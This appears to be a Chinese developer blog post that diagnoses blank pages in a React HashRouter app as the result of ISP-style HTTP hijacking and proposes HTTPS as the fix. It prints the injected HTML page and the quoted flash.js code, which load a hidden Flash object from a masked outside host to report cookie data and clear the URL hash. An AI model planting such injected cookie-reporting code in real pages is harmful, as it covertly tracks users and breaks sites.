这是我参与更文挑战的第 8 天,活动详情查看:更文挑战
问题分析
前段时间公司内部上线了一个 React 开发的项目。测试同事发现页面在多次刷新的时候会偶尔显示为空白页面。
上图是正常情况和异常情况的对比图,我们会发现异常情况下我们的页面会加载会经历下面的步骤
- v2.html
- flash.js
- v2.html 在异常情况下,第一次 v2.html 的请求被劫持,返回的数据如下:
<html>
<head>
<script language="javascript">
setTimeout('location.replace(location.href.split("#")[0])', 2000)
</script>
<script
type="text/javascript"
src="http://xxxx:89/cookie/flash.js"
></script>
<script language="javascript">
//
setURL('xxxx')
supFlash('xxxx')
</script>
</head>
<body>
<object
classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0"
width="0"
height="0"
id="m"
align="center"
><param name="allowScriptAccess" value="always" />
<param name="movie" value="http://xxxx:89/cookie/flashcookie.swf" />
<param name="quality" value="high" />
<param name="FlashVars" value="srv=xxxx" />
<embed
src="http://xxxx:89/cookie/flashcookie.swf"
FlashVars="srv=xxxx"
quality="high"
width="0"
height="0"
name="m"
align="center"
allowScriptAccess="always"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer"
/>
</object>
</body>
</html>
上面xxxx用来屏蔽敏感信息
返回的 html 里有段 js 代码:setTimeout('location.replace(location.href.split("#")[0])', 2000)
, 这段代码会清除 url 上的 Hash 参数。
另外 cookie/flash.js
里定义了 loadPage
函数,它同样会清除 url 上的 Hash 参数。
function loadPage () {
location.replace(location.href.split('#')[0])
}
这就导致 react-router 路由的 HashRouter 路径被清空。
cookie/flash.js
function supFlash (cookie) {
if (false === IsCanReport2Ac()) {
loadPage()
return
}
// 获取本地cookie值
var td_cookie = getCookie('td_cookie')
if (td_cookie == cookie) {
loadPage()
return
}
setCookie('td_cookie', cookie)
var flash = 0
var judgeIE = !-[1]
var ua = navigator.userAgent.toLowerCase()
if (ua.indexOf('taobrowser') > 0 || ua.indexOf('lbbrowser') > 0) {
loadPage()
return
}
var isIE = judgeIE || ua.indexOf('msie') > 0 || ua.indexOf('trident/7.0') > 0
if (isIE) {
try {
var swf1 = new ActiveXObject('ShockwaveFlash.ShockwaveFlash')
flash = 1
} catch (e) {
flash = 0
}
} else {
try {
var swf2 = navigator.plugins['Shockwave Flash']
if (swf2 == undefined) {
flash = 0
} else {
flash = 1
}
} catch (e) {
flash = 0
}
}
if (flash === 0) {
loadPage()
return
}
}
cookie/flash.js
调用上面的 supFlash
函数来通过 flash 上报 cookie 信息,但是它用来干什么我们一无所知。
不可预期的 HTTP 劫持不仅影响页面展示,更会破坏服务的安全性。那我们该怎么解决这个问题呢?
用 Https 协议来加密报文和防止中间人攻击应该是个不错的方案。